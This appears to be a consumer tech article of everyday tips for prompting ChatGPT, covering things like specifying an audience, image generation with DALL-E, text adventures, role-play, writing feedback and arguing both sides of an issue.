For example, you can tell ChatGPT that you are speaking to a bunch of 10-year-olds or to an audience of business entrepreneurs and it will respond accordingly. It works well for generating multiple outputs along the same theme.

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Screenshot of ChatGPT

Tell ChatGPT the audience it's writing for.

ChatGPT is a very capable prompt engineer itself. If you ask it to come up with creative and effective inputs for artificial intelligence engines such as Dall-E and Midjourney , you'll get text you can then input into other AI tools you're playing around with. You're even able to ask for tips with prompts for ChatGPT itself.

When it comes to generating prompts, the more detailed and specific you are about what you're looking for the better: You can get the chatbot to extend and add more detail to your sentences, you can get it to role-play as a prompt generator for a specific AI tool, and you can tell it to refine its answers as you add more and more information.

While ChatGPT is based around text, you can get it to produce pictures of a sort by asking for ASCII art. That's the art made up of characters and symbols rather than colors. The results won't win you any prizes, but it's pretty fun to play around with.

The usual ChatGPT rules apply, in that the more specific you are in your prompt the better, and you can get the bot to add new elements and take elements away as you go. Remember the limitations of the ASCII art format though—this isn't a full-blown image editor.

Screenshot of ChatGPT

A ChatGPT Plus subscription comes with image generation.

If you use ChatGPT Plus , it's got the DALL-E image generator right inside it, so you can ask for any kind of photo, drawing, or illustration you like. As with text, try to be as explicit as possible about what it is you want to see, and how it's shown; do you want something that looks like a watercolor painting, or like it was taken by a DSLR camera? You can have some real fun with this: Put Columbo in a cyberpunk setting, or see how Jurassic Park would look in the Victorian era. The possibilities are almost endless.

You don't have to do all the typing yourself when it comes to ChatGPT. Copy and paste is your friend, and there's no problem with pasting in text from other sources. While the input limit tops out at around 4,000 words, you can easily split the text you're sending the bot into several sections and get it to remember what you've previously sent.

Perhaps one of the best ways of using this approach is to get ChatGPT to simplify text that you don't understand—the explanation of a difficult scientific concept, for instance. You can also get it to translate text into different languages, write it in a more engaging or fluid style, and so on.

If you want to go exploring, ask ChatGPT to create a text-based choose-your-own adventure game. You can specify the theme and the setting of the adventure, as well as any other ground rules to put in place. When we tried this out, we found ourselves wandering through a spooky castle, with something sinister apparently hiding in the shadows.

Screenshot of ChatGPT

ChatGPT is able to create text-based games for you to play.

Another way to improve the responses you get from ChatGPT is to give it some data to work with before you ask your question. For instance, you could give it a list of book summaries together with their genre, then ask it to apply the correct genre label to a new summary. Another option would be to tell ChatGPT about activities you enjoy and then get a new suggestion.

There's no magic combination of words you have to use here. Just use natural language as always, and ChatGPT will understand what you're getting at. Specify that you're providing examples at the start of your prompt, then tell the bot that you want a response with those examples in mind.

You can ask ChatGPT for feedback on any of your own writing, from the emails you're sending to friends, to the short story you're submitting to a competition, to the prompts you're typing into the AI bot. Ask for pointers on spelling, grammar, tone, readability, or anything else you want to scrutinize.

ChatGPT cleared the above paragraph as being clear and effective, but said it could use a call to action at the end. Try this prompt today!

Screenshot of ChatGPT

Get ChatGPT to give you feedback on your own writing.

In the same way that ChatGPT can mimic the style of certain authors that it knows about, it can also play a role: a frustrated salesman, an excitable teenager (you'll most likely get a lot of emoji and abbreviations back), or the iconic western film star John Wayne.

There are countless roles you can play around with. These prompts might not score highly in terms of practical applications, but they're definitely a useful insight into the potential of these AI chatbots.

You can type queries into ChatGPT that you might otherwise type into Google, looking for answers: Think "how much should I budget for a day of sightseeing in London?" or "what are the best ways to prepare for a job interview?" for example. Almost anything will get a response of some sort—though as always, don't take AI responses as being 100 percent accurate 100 percent of the time.

If you're using the paid ChatGPT Plus tool, it will actually search the web (with Bing) and provide link references for the answers it gives. If you're using the free version of ChatGPT, it'll mine the data its been trained on for answers, so they might be a little out of date or less reliable.

Your answers can be seriously improved if you give ChatGPT some ingredients to work with before asking for a response. They could be literal ingredients—suggest a dish from what's left in the fridge—or they could be anything else.

So don't just ask for a murder mystery scenario. Also list out the characters who are going to appear. Don't just ask for ideas of where to go in a city; specify the city you're going to, the types of places you want to see, and the people you'll have with you.

Your prompts don't always have to get ChatGPT to generate something from scratch: You can start it off with something, and then let the AI finish it off. The model will take clues from what you've already written and build on it.

This can come in handy for everything from coding a website to composing a poem—and you can then get ChatGPT to go back and refine its answer as well.

You've no doubt noticed how online arguments have tended toward the binary in recent years, so get ChatGPT to help add some gray between the black and the white. It's able to argue both sides of an argument if you ask it to, including both pros and cons.

From politics and philosophy to sports and the arts, ChatGPT is able to sit on the fence quite impressively—not in a vague way, but in a way that can help you understand tricky issues from multiple perspectives.

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